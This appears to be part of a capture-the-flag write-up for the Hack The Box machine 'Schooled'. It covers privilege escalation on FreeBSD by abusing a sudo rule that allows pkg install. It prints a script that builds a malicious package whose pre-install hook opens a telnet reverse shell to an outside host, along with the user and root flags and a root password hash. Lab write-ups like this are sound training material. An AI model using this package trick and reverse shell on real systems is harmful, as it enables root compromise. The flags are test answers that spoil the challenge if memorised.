For other languages, replace "en" with a language code like de or fr.

Show the version of FreeBSD installed:  freebsd-version ; uname -a
Please include that output and any error messages when posting questions.
Introduction to manual pages:  man man
FreeBSD directory layout:      man hier

To change this login announcement, see motd(5).
You can make a log of your terminal session with script(1).
jamie@Schooled:~ $ cat user.txt 
c1db5414366659d18752d5e31c97781d

GOT IT BABY!! πŸ₯³

root flag

To start our enumeration to get root, we’ll first check the sudo -l command:

jamie@Schooled:~ $ sudo -l
User jamie may run the following commands on Schooled:
    (ALL) NOPASSWD: /usr/sbin/pkg update
    (ALL) NOPASSWD: /usr/sbin/pkg install *

Oh nice, we’re able to install packages. Now this is a part I do understand. When I was a Gentoo Developer, I learned that Gentoo’s Portage system was based of FreeBSD’s Ports. Although I never actually never touched FreeBSD Ports, if the systems were remotely similar, everything was supposed to be a shell script that would download/configure/install the packge all from a simple pkg install, or the portage version emerge. That being said, I looked for a way to create a FreeBSD pkg and, thankfully, I was rather fast to find what I needed.

After reading the mentioned post, I created a simple shell script that allowed me to create the right folder structure for a basic pkg that didn’t install any file:

#!/bin/sh

STAGEDIR=stage
rm -rf ${STAGEDIR}
mkdir -p ${STAGEDIR}

cat >> ${STAGEDIR}/+PRE_INSTALL <<EOF
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|telnet 10.10.14.234 5555 > /tmp/f
EOF

cat >> ${STAGEDIR}/+MANIFEST <<EOF
name: rootthis 
version: "1.0_1"
origin: sysutils/rootthis
comment: "pwned?!"
desc: "just runs a reverse shell"
maintainer: r3pek@schooled.htb
www: http://schooled.htb
prefix: /
EOF

The important part happens on the +PRE_INSTALL file that executes a basic reverse shell. Now, since we can run pkg install as root, we should be able to easily pop a root reverse shell. Let’s just run the script, generate the pkg and install it:

root-revshell-fail

Don’t wanna lie to you but I think I’ve waited here for 10 to 15 minutes for this to timeout 😒. So I just cancelled the install command and tried to figure out a way for pkg to skip the catalog update/refresh (remember the box has no internet connection right?). After a couple more tries and a bit of search the interwebz, I finally found the man page for pkg that mentioned a -U flag (--no-repo-update).

root-revshell

Now, let’s just get the flag and get out of here πŸ˜†

# cd /root
# cat root.txt
4c15e3fbcb5895d0120bb83528738d8b

root password hash

$6$aHA/oB17Vb9TqNGn$GKTw/EWJfAl05/knP2YNId6xbyaAiGh.pfkeD5X/VQa/WtgI7jy5B7yO8Pvvyl1g3sbPATF3Mnn58sjXJgYAS0